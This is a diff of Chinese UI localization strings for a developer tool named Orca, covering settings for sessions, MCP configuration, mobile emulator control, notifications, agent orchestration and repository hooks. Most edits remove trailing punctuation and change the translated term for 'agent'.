+          "ad9832aa26": "，该面板中未保存的工作将丢失，此操作无法撤销",
           "8401328fed": "强制退出",
           "87dcafc85c": "终止这个会话？",
           "0b0db4c68c": "终止会话",
@@ -7547,17 +7828,17 @@
         "ManageSessionsSection": {
           "33c2a1e1b4": "终止会话 {{value0}}",
           "2896a50f50": "前往终端 {{value0}}",
-          "e26a60d9eb": "没有会话。",
+          "e26a60d9eb": "没有会话",
           "39c53d6d74": "加载中…",
           "5ed15e778c": "重新启动守护进程",
           "3282db098c": "终止所有会话",
           "b3b1cc5708": "刷新",
           "a795a9552a": "会话",
-          "7c4889a724": "通过终止会话或重新启动底层守护进程，从冻结或行为异常的终端中恢复。",
-          "8dbd96b463": "无法终止会话。",
-          "0735b7a586": "无法终止会话——它可能已经消失了。",
-          "bfba05dccd": "终止会话。",
-          "c535cbdd09": "无法加载会话。",
+          "7c4889a724": "通过终止会话或重新启动底层守护进程，从冻结或行为异常的终端中恢复",
+          "8dbd96b463": "无法终止会话",
+          "0735b7a586": "无法终止会话——它可能已经消失了",
+          "bfba05dccd": "终止会话",
+          "c535cbdd09": "无法加载会话",
           "0e07cc838b": "管理会话"
         },
         "McpConfigFileRow": {
@@ -7566,10 +7847,10 @@
         },
         "McpConfigSection": {
           "4d16a0d9ac": "已检查",
-          "b900cd6282": "未找到 MCP 配置。当您希望此仓库定义其自己的 MCP 服务器时，添加一个空的工作区配置。",
+          "b900cd6282": "未找到 MCP 配置，当您希望此仓库定义其自己的 MCP 服务器时，添加一个空的工作区配置",
           "f34c152dc0": "刷新 MCP 配置",
-          "6bac9ddfc6": "SSH 仓库是通过远程文件系统读取的。 Starter 创建仅限于工作区根配置。",
-          "96f5609b04": "检查智能体在此仓库中工作时可以使用的 MCP 服务器定义。",
+          "6bac9ddfc6": "SSH 仓库通过远程文件系统读取，初始配置只能在工作区根配置中创建",
+          "96f5609b04": "检查代理在此仓库中工作时可以使用的 MCP 服务器定义",
           "9ee215caf6": ".mcp.json",
           "1f3665e35a": "MCP 配置已创建",
           "82436439eb": "添加 MCP 配置",
@@ -7579,11 +7860,11 @@
           "283bebb198": "MCP 配置"
         },
         "MobileEmulatorAgentControlRow": {
-          "8af7a8bc38": "命令针对当前工作树的活动模拟器。坐标从 0..1 标准化。",
+          "8af7a8bc38": "命令针对当前工作树的活动模拟器，坐标从 0..1 标准化",
           "c7f3fe0a6e": "常用模拟器命令",
-          "d94ca6a623": "使智能体能够使用 Orca CLI 命令，包括手机模拟器控制。",
+          "d94ca6a623": "使代理能够使用 Orca CLI 命令，包括手机模拟器控制",
           "67e19ee03c": "Orca CLI 技能",
-          "ff4b7e65d6": "让编码智能体使用 Orca CLI 命令控制活动手机模拟器。",
+          "ff4b7e65d6": "让编码代理使用 Orca CLI 命令控制活动手机模拟器",
           "10243e70ff": "智能体手机模拟器控制"
         },
         "MobileEmulatorExamples": {
@@ -7591,24 +7872,24 @@
           "c12b253997": "复制示例提示",
           "d151e25078": "”",
           "b525ff2b12": "“",
-          "4daa95f25a": "将其中任何内容粘贴到安装了 Orca CLI 技能的项目中的 Claude Code、Codex 或其他智能体中。",
+          "4daa95f25a": "将其中任何内容粘贴到安装了 Orca CLI 技能的项目中的 Claude Code、Codex 或其他代理中",
           "0820b3f84f": "尝试一下 - 示例提示",
-          "1f608e7d60": "复制提示失败。",
-          "2b077b5544": "已复制提示。"
+          "1f608e7d60": "复制提示失败",
+          "2b077b5544": "已复制提示"
         },
         "MobileEmulatorSettingsPane": {
-          "19d39113b6": "让编码智能体使用 Orca CLI 命令控制活动手机模拟器。",
+          "19d39113b6": "让编码代理使用 Orca CLI 命令控制活动手机模拟器",
           "8aec2f99a0": "刷新模拟器可用性",
           "ae1612c58c": "可用性",
-          "f9af91ea26": "显示“新建手机模拟器”操作并允许智能体连接到活动模拟器。",
-          "bc39d0f115": "配置对 Orca 和编码智能体的手机模拟器支持。",
+          "f9af91ea26": "显示\"新建手机模拟器\"操作并允许代理连接到活动模拟器",
+          "bc39d0f115": "为 Orca 与编码代理配置手机模拟器",
           "a4f1c82d90": "已禁用",
           "b5e2d93e01": "检查中...",
           "c6f3ea4f12": "就绪",
           "d704fb5023": "需要设置",
-          "06b06429c6": "正在检查 Android SDK 和 iOS 模拟器支持。",
-          "6d1483d4a0": "检测到 1 个模拟器设备。",
-          "0a452d4d3b": "检测到 {{value0}} 个模拟器设备。",
+          "06b06429c6": "正在检查 Android SDK 和 iOS 模拟器支持",
+          "6d1483d4a0": "已检测 1 个模拟器设备",
+          "0a452d4d3b": "已检测 {{value0}} 个模拟器设备",
           "d2d8632e0d": "手机模拟器",
           "b1e5af97e9": "启用手机模拟器",
           "fd698d2d47": "智能体手机模拟器控制"
@@ -7619,10 +7900,10 @@
         "MobilePane": {
           "dd3cd78d04": "使用 Orca 手机端 扫描",
           "ee56f1c7e4": "当您离开手机应用程序时",
-          "3939fd062c": "撤销设备会立即断开连接。",
+          "3939fd062c": "撤销设备会立即断开连接",
           "254a6d09e4": "配对",
           "e778ecb209": "或者将此代码粘贴到手机应用程序中：",
-          "310924ad2c": "使用 Orca 手机应用程序扫描此代码。每个代码都会创建一个唯一的设备token。",
+          "310924ad2c": "使用 Orca 手机应用程序扫描此代码，每个代码都会创建一个唯一的设备 Token",
           "870e1b5ca5": "撤销设备失败",
           "2e3dd0bc29": "设备已撤销",
           "711231348f": "复制配对码失败",
@@ -7632,50 +7913,50 @@
           "ff865419dc": "30分钟后",
           "d4ba07d914": "5分钟后",
           "c474aa09d8": "1分钟后",
-          "aa1263e881": "保持手机尺寸（默认）",
+          "aa1263e881": "保持手机尺寸(默认)",
           "6436e56546": "用于手机配对的二维码",
-          "1b1b70279a": "尚未配对任何设备。",
-          "1592afcc7a": "尚未配对任何设备。使用 Orca 手机应用程序扫描二维码。",
-          "pairingQrError": "无法将此配对码呈现为二维码。请改为将其复制到 Orca Mobile。",
-          "pairingCodeReady": "配对码已准备就绪",
+          "1b1b70279a": "尚未配对任何设备",
+          "1592afcc7a": "尚未配对任何设备，使用 Orca 手机应用程序扫描二维码",
+          "pairingQrError": "无法将此配对码呈现为二维码，请改为将其复制到 Orca Mobile",
+          "pairingCodeReady": "配对码已就绪",
           "copyPairingCode": "复制配对码",
-          "diagnosticsCopied": "已复制诊断信息",
-          "diagnosticsCopyFailed": "无法复制诊断信息",
-          "5e2c7a1f84": "当您在手机上使用终端时，Orca 会将其缩小以适合您的手机屏幕。当您关闭应用程序或切换离开时，这可以控制它是保持手机大小（因此交互式 CLI 工具不会回流）还是将大小调整回桌面。您始终可以使用横幅上的“还原”或“全部还原”来手动调整大小。",
+          "diagnosticsCopied": "诊断信息已复制",
+          "diagnosticsCopyFailed": "复制诊断信息失败",
+          "5e2c7a1f84": "当您在手机上使用终端时，Orca 会将其缩小以适合您的手机屏幕，当您关闭应用程序或切换离开时，这可以控制它是保持手机大小（因此交互式 CLI 工具不会回流）还是将大小调整回桌面，您始终可以使用横幅上的“还原”或“全部还原”来手动调整大小",
           "codeRefreshesAutomatically": "配对码会自动刷新。复制的配对码最多可使用 10 分钟。",
           "legacyEncryption": "使用旧版加密。请在此设备上更新 Orca 应用。",
           "olderPairingMethod": "使用较旧的配对方式。请更新这部手机上的 Orca 应用。",
           "5f539ff331": "配对设备"
         },
         "MobileSettingsPane": {
-          "b5a2ed83ff": "应用商店",
+          "b5a2ed83ff": "Apple Store",
           "e7a3ae8c4e": "移动端",
-          "174f4a3c6d": "通过手机控制终端和智能体。",
-          "682293cadf": "在左侧边栏顶部显示 Orca 手机端按钮。",
-          "d4f2b65f30": "在边栏中显示 Orca 手机端 快捷入口。",
-          "installIntro": "从以下应用商店安装 Orca Mobile",
-          "installOutro": "，然后在下方配对。",
+          "174f4a3c6d": "用手机控制终端和代理",
+          "682293cadf": "在左侧边栏顶部显示 Orca 手机端按钮",
+          "d4f2b65f30": "在边栏中显示 Orca 手机端 快捷入口",
+          "installIntro": "从",
+          "installOutro": " 安装 Orca Mobile，然后在下方配对",
           "androidApkLabel": "Android APK",
           "49089c92b3": "显示 Orca 手机端按钮"
         },
         "NotificationsPane": {
-          "2772d2f257": "当触发工作树已经可见时跳过通知。",
+          "2772d2f257": "当触发工作树已经可见时跳过通知",
           "2a42dd8d6f": "通知音量",
-          "4aa5085cd7": "自定义：",
+          "4aa5085cd7": "风俗：",
           "c258cb96dc": "选择通知声音",
-          "2a2033c388": "选择发送桌面通知时 Orca 播放的警报。",
-          "b6fc369244": "后台终端发出响铃字符。",
-          "e4b5e909ff": "关闭时，被侧边栏“筛选条件”菜单中的隐藏开关隐藏的工作区不显示未读圆点，也不会向这台电脑或你的手机发送通知。",
-          "55f901a59b": "编码智能体完成并变得空闲。",
-          "deff6d30da": "后台事件的本机系统通知。",
+          "2a2033c388": "选择发送桌面通知时 Orca 播放的警报",
+          "b6fc369244": "后台终端发出响铃字符",
+          "e4b5e909ff": "关闭时，被侧边栏“筛选条件”菜单中的隐藏开关隐藏的工作区不显示未读圆点，也不会向这台电脑或你的手机发送通知",
+          "55f901a59b": "编码代理完成并变得空闲",
+          "deff6d30da": "后台事件的本机系统通知",
           "0fadad17ce": "无法播放通知声音",
           "406feb0aa6": "测试通知未送达",
           "6fc3781729": "通知已禁用",
-          "4676a95bc3": "检查 Orca 的桌面通知设置。",
+          "4676a95bc3": "检查 Orca 的桌面通知设置",
           "0cb93240b8": "系统没有显示通知",
           "145227ca2b": "打开设置",
           "d3d54e0915": "已发送测试通知",
-          "115437bc35": "如果没有出现 macOS 横幅，请启用 Orca 的允许通知。",
+          "115437bc35": "如果没有出现 macOS 横幅，请启用 Orca 的允许通知",
           "7f45542625": "要求测试通知",
           "98d70fb261": "自定义通知声音无法播放",
           "c83b05a055": "该系统不支持通知",
@@ -7690,10 +7971,10 @@
           "38e3bbeb25": "选择自定义文件"
         },
         "OpenAiTranscriptionKeyDialog": {
-          "d246b2bdb3": "本地运行时密钥使用 Electron 加密存储（如果可用）存储在 ~/.orca 中。",
+          "d246b2bdb3": "本地运行时密钥使用 Electron 加密存储(如果可用)存储在 ~/.orca 中",
           "c3380e4ca5": "sk-...",
           "2f797018f0": "API 密钥已配置",
-          "07ed3e512e": "仅当选择 OpenAI 语音模型时，音频才会发送到 OpenAI。",
+          "07ed3e512e": "仅当选择 OpenAI 语音模型时，音频才会发送到 OpenAI",
           "bce1b6d18a": "保存密钥",
           "be6c3f2eba": "清除键",
           "bf1ff9c891": "OpenAI 转录",
@@ -7704,16 +7985,16 @@
           "ae2df8f511": "断开 OpenAI API 密钥",
           "a622bc3b37": "更换密钥",
           "3b0ab3fc0b": "已连接",
-          "893790e13b": "在选择云语音转文本模型之前添加 OpenAI API 密钥。",
-          "b59b9b2b51": "为云语音转文本模型配置的 API 密钥。",
+          "893790e13b": "在选择云语音转文本模型之前添加 OpenAI API 密钥",
+          "b59b9b2b51": "为云语音转文本模型配置的 API 密钥",
           "ff28e99b54": "OpenAI 转录"
         },
         "OpenInMenuSetting": {
           "03b00b1f64": "定制应用程序",
           "c1d817e027": "额外",
           "e4064916aa": "添加应用程序",
-          "9d0413817d": "从工作区的“打开方式”菜单中选择可用的应用程序。",
-          "eb55b87570": "您在终端中键入的命令以打开此应用程序。",
+          "9d0413817d": "从工作区的\"打开方式\"菜单中选择可用的应用程序",
+          "eb55b87570": "您在终端中键入的命令以打开此应用程序",
           "ba1422ee07": "终端命令",
           "e1fc0085c6": "菜单标签",
           "a261931d29": "删除应用程序",
@@ -7726,13 +8007,13 @@
           "d686e15816": "在应用程序中打开"
         },
         "OrchestrationPane": {
-          "52e0634e2c": "让协调智能体通过编排处理交接、工作树移交，以及顺序或并行的子智能体。",
+          "52e0634e2c": "要求协调代理使用编排进行切换、工作树切换以及顺序或并行子代理",
           "ae79504732": "如何使用",
-          "9bedd2a6e5": "使智能体能够通过 Orca 传递上下文并协调工作。",
+          "9bedd2a6e5": "使代理能够通过 Orca 传递上下文并协调工作",
           "07641b9768": "编排技能",
-          "2aacdb0517": "在交接、工作树移交和子智能体工作中协调编码智能体。",
-          "nestedWorkerDepthTitle": "工作智能体嵌套深度",
-          "nestedWorkerDepthDescription": "已派发的工作智能体可以再派发自己的工作智能体的层数。设为 1 时智能体树保持扁平：协调者派发工作智能体，这些工作智能体不再派发。",
+          "2aacdb0517": "跨切换、工作树切换和子代理工作协调编码代理",
+          "nestedWorkerDepthTitle": "嵌套工作进程深度",
+          "nestedWorkerDepthDescription": "工作进程的最大派生代数，设为 1 时代理树扁平，工作进程不再派发子进程",
           "7bc082f4de": "复制安装命令",
           "workerAutoReleaseTitle": "自动关闭已完成的工作者",
           "workerAutoReleaseDescription": "除非选择“保持打开”，否则工作者完成后 2 分钟会关闭其终端或聊天。如果它再次开始工作，完成后将重新计时 2 分钟。",
@@ -7741,19 +8022,19 @@
           "8a94078d05": "智能体编排"
         },
         "OrchestrationSetupCard": {
-          "e7d2a5146c": "使智能体能够通过 Orca 传递上下文并协调工作。",
+          "e7d2a5146c": "使代理能够通过 Orca 传递上下文并协调工作",
           "2777ff0fdc": "编排技能"
         },
         "OrchestrationSkillAgentCoverage": {
-          "6dec5ce2d2": "智能体覆盖范围",
+          "6dec5ce2d2": "代理覆盖范围",
           "ffe13e36fb": "缺失",
           "1e8f8d8fae": "就绪",
-          "checking": "检查已安装的智能体和技能路径...",
-          "noAgents": "在 PATH 上未检测到智能体 CLI。在“设置”→“智能体”中安装智能体，然后重新检查。",
-          "fullCoverage_one": "所有 1 名已检测的智能体都拥有该技能。",
-          "fullCoverage_other": "所有 {{value0}} 已检测的智能体都拥有该技能。",
-          "noCoverage": "安装上面的技能，然后重新检查。",
-          "partialCoverage": "{{value1}} 的 {{value0}} 已检测智能体拥有该技能。"
+          "checking": "正在检查已安装的代理和技能路径…",
+          "noAgents": "PATH 上未检测到代理 CLI，请在 设置 → 代理 中安装，然后重新检查",
+          "fullCoverage_one": "检测到的 1 个代理已具备该技能",
+          "fullCoverage_other": "检测到的 {{value0}} 个代理均已具备该技能",
+          "noCoverage": "请先安装上方技能，然后重新检查",
+          "partialCoverage": "检测到的 {{value1}} 个代理中有 {{value0}} 个已具备该技能"
         },
         "PrivacyDiagnosticBundleControls": {
           "dc8404a930": "创建诊断文件",
@@ -7763,11 +8044,11 @@
           "2ae9a6b63e": "完成",
           "7f14a1733c": "删除已发送文件",
           "2801d4ce22": "复制参考 ID",
-          "d8be621237": "请先打开查看文件。",
-          "61676df223": "诊断信息已发送。请将此参考 ID 分享给支持团队：{{value0}}。",
-          "fd7b3891af": "你已打开查看文件（{{value0}}）。可以将此文件发送给支持团队，或将其丢弃。",
-          "62340d4439": "查看文件已准备好（{{value0}}）。打开它查看将发送的内容，然后选择是否发送给支持团队。",
-          "19ec5e29b3": "将最近的应用活动和错误收集到一个已编辑的文件中，供你在发送前查看。只有在你选择发送后才会上传。"
+          "d8be621237": "请先打开查看文件",
+          "61676df223": "诊断信息已发送，请将此参考 ID 分享给支持团队：{{value0}}",
+          "fd7b3891af": "你已打开查看文件({{value0}})，可以将此文件发送给支持团队，或将其丢弃",
+          "62340d4439": "查看文件已准备好({{value0}})，打开它查看将发送的内容，然后选择是否发送给支持团队",
+          "19ec5e29b3": "将最近的应用活动和错误收集到一个已编辑的文件中，供你在发送前查看，只有在你选择发送后才会上传"
         },
         "PrivacyDiagnosticsSection": {
           "af2fc82cde": "将应用诊断信息发送给支持团队",
@@ -7780,28 +8061,28 @@
           "a2b3505c77": "已创建查看文件"
         },
         "PrivacyPane": {
-          "36e0e2e63b": "环境变量。取消设置并重新启动以重新启用。",
+          "36e0e2e63b": "环境变量，取消设置并重新启动以重新启用",
           "79a0f3c16c": "遥测被禁用",
-          "e3970bbbf5": "由于设置了 CI 环境变量，遥测被禁用。取消设置并重新启动。",
+          "e3970bbbf5": "由于设置了 CI 环境变量，遥测被禁用，取消设置并重新启动",
           "fe904ac984": "共享匿名使用数据",
           "77410e0566": "隐私政策",
-          "8bfdd23a88": "帮助我们弄清楚下一步要构建什么。 Orca 会发送匿名计数，记录您使用的功能以及出现故障的位置。"
+          "8bfdd23a88": "帮助我们弄清楚下一步要构建什么，Orca 会发送匿名计数，记录您使用的功能以及出现故障的位置"
         },
         "QuickCommandsPane": {
           "8764c6e9e4": "删除 {{value0}}",
           "7d90fd5299": "编辑 {{value0}}",
           "8c877dec41": "全局的",
           "c6b155911b": "所有命令",
-          "c36912efd5": "从选项卡栏中的“快捷命令”按钮运行它们，或者在任何终端内右键单击。",
-          "3d9dc558e8": "该快捷命令将从您保存的列表中删除。",
-          "3edf3deaf8": "删除“{{value0}}”？",
+          "c36912efd5": "从选项卡栏中的\"快捷命令\"按钮运行它们，或者在任何终端内右键单击",
+          "3d9dc558e8": "该快捷命令将从您保存的列表中删除",
+          "3edf3deaf8": "删除\"{{value0}}\"？",
           "9fcfc29519": "插入",
           "9b3e338d62": "进入",
-          "4ccc63da87": "智能体",
+          "4ccc63da87": "代理",
           "0252ddd578": "无命令文本",
           "2bb9e38e93": "无题",
-          "3eb9897ab0": "所选范围内没有命令。",
-          "38d61927e6": "没有保存快捷命令。",
+          "3eb9897ab0": "所选范围内没有命令",
+          "38d61927e6": "没有保存快捷命令",
           "ec1ed99e70": "删除",
           "d1d0976320": "没有任何",
           "8d525e5f15": "已复制",
@@ -7809,91 +8090,91 @@
           "a9a564b7e7": "复制 {{value0}}",
           "69a1441a21": "无可复制内容",
           "89f7e57fcc": "保存于",
-          "d59bd333c3": "更新此 Orca 服务器以管理其快速命令。",
-          "f2bf411640": "无法从此主机加载命令。",
+          "d59bd333c3": "更新此 Orca 服务器以管理其快捷命令",
+          "f2bf411640": "无法从此主机加载命令",
           "7ecfee5b8e": "重试",
-          "601d6af51f": "正在加载命令...",
-          "923ba89646": "无法从此主机刷新命令。显示最后加载的命令。",
+          "601d6af51f": "正在加载命令…",
+          "923ba89646": "无法从此主机刷新命令，正在显示上次加载的命令",
           "f8cf6fc086": "添加命令"
         },
         "RecentTabOrderControl": {
           "3b17c81ede": "标签条顺序",
           "6e6a3fcc61": "最近的",
-          "a867a0889f": "最近或标签栏。",
+          "a867a0889f": "最近或标签栏",
           "b5cfdc0198": "制表符顺序"
         },
         "RepositoryHooksSection": {
-          "af49e2a19e": "该文件存在，但 Orca 找不到有效的“scripts”或“issueCommand”定义。",
+          "af49e2a19e": "该文件存在，但 Orca 找不到有效的\"scripts\"或\"issueCommand\"定义",
           "39da2ae12f": "orca.yaml",
           "bbbd6e0bc4": "命令源 & orca.yaml",
           "c9bc1bfd8f": "高级",
-          "610d90fdbd": "命令源和 orca.yaml 详细信息。",
+          "610d90fdbd": "命令源和 orca.yaml 详细信息",
           "4084720f47": "完成 {{artifact_url}}",
-          "2cc27dc12b": "关联议题命令的可选每用户覆盖。",
-          "b91a0f297d": "在归档工作树之前运行的本地和共享脚本。",
-          "21fb607a87": "创建新工作树时的默认行为。",
+          "2cc27dc12b": "关联议题命令的可选每用户覆盖",
+          "b91a0f297d": "在归档工作树之前运行的本地和共享脚本",
+          "21fb607a87": "创建新工作树时的默认行为",
           "793dcee97d": "何时执行",
-          "63e1783173": "当安装脚本可用时选择默认行为。",
-          "30d555acd2": "创建新工作树后运行的本地和共享脚本。",
-          "8567127a40": "创建或归档工作树时运行的脚本。本地脚本存储在本机上； `orca.yaml` 脚本与您的团队共享。",
+          "63e1783173": "当安装脚本可用时选择默认行为",
+          "30d555acd2": "创建新工作树后运行的本地和共享脚本",
+          "8567127a40": "创建或归档工作树时运行的脚本，本地脚本存储在本机上，`orca.yaml` 脚本与您的团队共享",
           "5d940bde5c": "添加本地脚本",
-          "8c2893fae0": "作为单个 shell 脚本运行。保存在本机上。",
+          "8c2893fae0": "作为单个 shell 脚本运行，保存在本机上",
           "40a446ae16": "- 只为您，在这台机器上",
           "2d03a514db": "当地的",
-          "7e4427b4a2": "改变。",
+          "7e4427b4a2": "改变",
           "b113344b6a": "编辑",
           "f828e1de19": "- 与您的团队分享",
           "673a7fd10e": "检查中...",
           "5426ecbdcb": "本地脚本将不会运行",
           "95a0411b3e": "模板",
           "175daba180": "例子",
-          "b20c5df6ca": "添加“orca.yaml”文件以启用此仓库的共享设置、存档或议题自动化默认值。示例模板：",
+          "b20c5df6ca": "添加\"orca.yaml\"文件以启用此仓库的共享设置、存档或议题自动化默认值，示例模板：",
           "56f9a4a1d0": "正在使用 `orca.yaml`",
           "623e0c9f31": "无法解析 `orca.yaml`",
           "5a67e4793d": "未检测到 `orca.yaml`",
-          "07ba35bc68": "检查 `scripts:` 下的缩进。钩子键应使用两个空格，命令行应使用四个空格。",
-          "787ca433ef": "仅定义支持的键：`scripts`、`setup`、`archive` 和 `issueCommand`。",
-          "ecc73d9125": "将你的文件与下面可用的模板进行比较，并在需要时复制该结构。",
-          "0cc712b823": "核心配置文件存在于仓库根目录中，但 Orca 尚无法解析支持的钩子定义。",
-          "aba825233f": "该文件包含此版本的 Orca 无法识别的配置密钥。您可能需要更新 Orca，或检查文件是否有拼写错误。",
-          "ca424ff135": "共享挂钩和议题自动化默认值在仓库中定义，可供所有使用它的人使用。",
+          "07ba35bc68": "检查 `scripts:` 下的缩进，钩子键应使用两个空格，命令行应使用四个空格",
+          "787ca433ef": "仅定义支持的键：`scripts`、`setup`、`archive` 和 `issueCommand`",
+          "ecc73d9125": "将你的文件与下面可用的模板进行比较，并在需要时复制该结构",
+          "0cc712b823": "核心配置文件存在于仓库根目录中，但 Orca 尚无法解析支持的钩子定义",
+          "aba825233f": "文件含当前版本无法识别的配置键，请更新 Orca 或检查拼写",
+          "ca424ff135": "共享挂钩和议题自动化默认值在仓库中定义，可供所有使用它的人使用",
           "8bfe65fc60": "使用本地命令",
           "8d6c56bff8": "运行两者",
-          "0fa21e19ec": "工作区的名称，通常基于分支名称。",
-          "54c73d88d0": "正在创建的工作树的路径。安装命令从此目录运行。",
-          "30952c4aa4": "主仓库检出目录的路径。对于将共享文件（例如 .env）复制到工作树中非常有用。",
+          "0fa21e19ec": "工作区的名称，通常基于分支名称",
+          "54c73d88d0": "正在创建的工作树的路径，安装命令从此目录运行",
+          "30952c4aa4": "主仓库检出目录的路径，对于将共享文件(例如 .env)复制到工作树中非常有用",
           "9b821fa19d": "# e.g. echo \"Cleaning up $ORCA_WORKSPACE_NAME\"",
-          "6f90ebe3fd": "在归档或删除工作树之前运行。",
+          "6f90ebe3fd": "在归档或删除工作树之前运行",
           "a3fc966677": "# e.g. pnpm install cp \"$ORCA_ROOT_PATH/.env\" \"$ORCA_WORKTREE_PATH/.env\"",
-          "f0710e1c83": "创建新工作树后运行；安装 deps，复制 env 文件，运行迁移。",
-          "8561b0665f": "首先是 orca.yaml，然后是本地命令。",
-          "0e8b2a520d": "忽略 orca.yaml；仅运行本地命令。",
+          "f0710e1c83": "创建新工作树后运行，安装 deps，复制 env 文件，运行迁移",
+          "8561b0665f": "首先是 orca.yaml，然后是本地命令",
+          "0e8b2a520d": "忽略 orca.yaml，仅运行本地命令",
           "83dc78202a": "仅限本地",
-          "29397e8bbc": "仅运行已 commit 的仓库命令；忽略本地命令。",
+          "29397e8bbc": "仅运行已提交的仓库命令，忽略本地命令",
           "d88b6ff88f": "仅 Orca.yaml",
-          "99e3264a49": "仅在选择时运行安装程序。",
+          "99e3264a49": "仅在选择时运行安装程序",
           "15debc1fd9": "默认跳过",
-          "022ba10cf2": "自动运行安装程序。",
+          "022ba10cf2": "自动运行安装程序",
           "d3ef1ab247": "默认运行",
-          "90b1f50137": "运行安装程序之前提示。",
+          "90b1f50137": "运行安装程序之前提示",
           "e03d9a8f38": "每次都问",
           "fac13f8c1e": "权威性",
           "0518758f38": "两个都",
           "d2b3016c20": "共享",
           "4611b78617": "命令源",
           "c5a55a2d2e": "高级",
-          "0ce113fd7b": "保存本地脚本，但脚本源仅设置为 orca.yaml。",
-          "7f78e5eea6": "保存本地脚本。 Orca 仍在检查 orca.yaml，然后才能建议使用哪个脚本源。",
+          "0ce113fd7b": "保存本地脚本，但脚本源仅设置为 orca.yaml",
+          "7f78e5eea6": "保存本地脚本，Orca 仍在检查 orca.yaml，然后才能建议使用哪个脚本源",
           "2b6356e744": "已保存",
           "81057d5f71": "保存中...",
           "da37d6f10e": "复制",
           "3149964b66": "已复制",
-          "waitForSetupBeforeAgent": "等待设置完成后再启动智能体",
-          "issueCommandDescription": "可选覆盖。使用 <artifactUrl>{{artifact_url}}</artifactUrl> 表示关联议题或 PR 的 URL。",
-          "issueCommandSharedDefault": "留空则使用 <yaml>orca.yaml</yaml> 中的仓库默认值。",
-          "issueCommandOptionalDefault": "留空则使用 <yaml>orca.yaml</yaml> 中的仓库默认值（如果有）。",
-          "commandSourceDescription": "当 <yaml>orca.yaml</yaml> 和本地命令同时存在时，选择要运行哪些命令。",
-          "issueCommandWslStopped": "WSL 发行版 {{distro}} 已停止。请在其中打开终端以查看或编辑此命令。",
+          "waitForSetupBeforeAgent": "等待设置完成后再启动代理",
+          "issueCommandDescription": "可选覆盖，使用 <artifactUrl>{{artifact_url}}</artifactUrl> 表示关联议题或 PR 的 URL",
+          "issueCommandSharedDefault": "留空则使用 <yaml>orca.yaml</yaml> 中的仓库默认值",
+          "issueCommandOptionalDefault": "留空则使用 <yaml>orca.yaml</yaml> 中的仓库默认值（如果有）",
+          "commandSourceDescription": "当 <yaml>orca.yaml</yaml> 和本地命令同时存在时，选择要运行哪些命令",
+          "issueCommandWslStopped": "WSL 发行版 {{distro}} 已停止。请在其中打开终端以查看或编辑此命令",
           "bfdb1266ce": "存档脚本",
           "1c17e751c4": "何时运行安装程序",
           "da00f141c2": "自定义 GitHub 议题命令",
@@ -7904,11 +8185,11 @@
         "RepositoryIconPicker": {
           "2b7d27b93c": "使用 {{value0}} 仓库颜色",
           "useRepoIcon": "使用 {{value0}} 仓库图标",
-          "fde066a63b": "PNG 上传必须为 256KB 或更小。",
+          "fde066a63b": "PNG 上传必须为 256KB 或更小",
           "cc1286e263": "网站图标",
           "03ca1a4e9b": "example.com",
           "381b4844fd": "上传PNG",
-          "7da623abcc": "默认使用 — GitHub 始终提供一个，即使所有者尚未设置自定义图像。",
+          "7da623abcc": "默认使用 — GitHub 始终提供一个，即使所有者尚未设置自定义图像",
           "c490787d24": "表情符号",
           "b2d7fd2116": "图标",
           "2d8bd302fa": "头像",
@@ -7916,31 +8197,37 @@
           "0e5f0693c1": "选择自定义仓库颜色",
           "642dc29c6d": "颜色",
           "549d126081": "重置",
-          "d71df44587": "无法解析 GitHub 仓库。",
-          "f79972271a": "找不到此仓库的 GitHub 远程。",
+          "d71df44587": "无法解析 GitHub 仓库",
+          "f79972271a": "找不到此仓库的 GitHub 远程",
           "4d039317f4": "网站图标",
-          "acf31559a0": "输入有效的网站 URL。",
+          "acf31559a0": "输入有效的网站 URL",
           "868c5c9b56": "无法导入仓库图标",
-          "emojiTooLongForRepoIcon": "此表情符号无法用作仓库图标。",
+          "emojiTooLongForRepoIcon": "此表情符号无法用作仓库图标",
           "currentEmojiSelection": "当前：{{value0}}",
           "searchEmojiPlaceholder": "搜索表情符号",
+          "custom": "自定义",
+          "githubAvatar": "GitHub 头像",
+          "customImage": "自定义图片",
+          "emojiDescription": "{{emoji}} 表情符号",
+          "lucideDescription": "使用仓库颜色的{{label}}图标",
+          "defaultIcon": "默认",
           "cc76342291": "使用 GitHub 头像",
           "43bf3709dd": "Repo 图标"
         },
         "RepositoryPane": {
-          "15a99d9b9f": "相对路径从该项目根解析。",
-          "e63bb96a9b": "新工作树的项目特定目录。",
-          "8984d06520": "创建工作树时的默认基本分支或引用。",
-          "e641c359de": "侧边栏和选项卡中使用的项目图标和颜色。",
-          "b0a0c14a1c": "侧边栏和选项卡的项目特定显示详细信息。",
-          "removeProjectAllHosts": "从所有已配置主机的 Orca 中删除该项目。",
-          "removeProjectCheckout": "从 Orca 中删除此检出。此项目的其他检出将保留。",
-          "removeProjectKeepCheckouts": "从 Orca 中删除该项目。拥有独立设置的检出将保留。",
-          "ee5a290616": "作为文件夹打开。 Git 功能对此工作区不可用。",
+          "15a99d9b9f": "相对路径从该项目根解析",
+          "e63bb96a9b": "新工作树的项目特定目录",
+          "8984d06520": "创建工作树时的默认基本分支或引用",
+          "e641c359de": "侧边栏和选项卡中使用的项目图标和颜色",
+          "b0a0c14a1c": "侧边栏和选项卡的项目特定显示详细信息",
+          "removeProjectAllHosts": "从所有已配置主机的 Orca 中删除该项目",
+          "removeProjectCheckout": "从 Orca 中删除此检出，此项目的其他检出将保留",
+          "removeProjectKeepCheckouts": "从 Orca 中删除该项目，拥有独立设置的检出将保留",
+          "ee5a290616": "作为文件夹打开，Git 功能对此工作区不可用",
           "323debba71": "类型：",
           "499a437335": "身份",
-          "availableHostsDescription": "已设置此项目的主机。",
-          "availableHostsHelp": "项目路径和工作树设置按主机独立；创建工作区时可指向任意已就绪的设置。",
+          "availableHostsDescription": "已设置此项目的主机",
+          "availableHostsHelp": "项目路径和工作树设置按主机独立，创建工作区时可指向任意已就绪的设置",
           "viewingHost": "查看主机",
           "currentSetup": "当前",
           "hostSetupStateReady": "就绪",
@@ -7967,35 +8254,35 @@
           "creatingPendingSetup": "添加中...",
           "hostSetupCheckingCapability": "检查主机能力",
           "hostAvailability": "主机可用性",
-          "hostAvailabilityHelp": "在另一台已连接的主机上添加此项目。",
+          "hostAvailabilityHelp": "在另一台已连接的主机上添加此项目",
           "addToAnotherHost": "添加到其他主机",
           "addProjectHost": "将项目添加到主机",
-          "addProjectHostHelp": "选择此项目还应在何处可用。",
+          "addProjectHostHelp": "选择此项目还应在何处可用",
           "closeHostSetup": "关闭",
           "setupHostLabel": "主机",
           "browseFolder": "浏览文件夹",
-          "browseFolderHelp": "使用此主机上已有的检出或文件夹。",
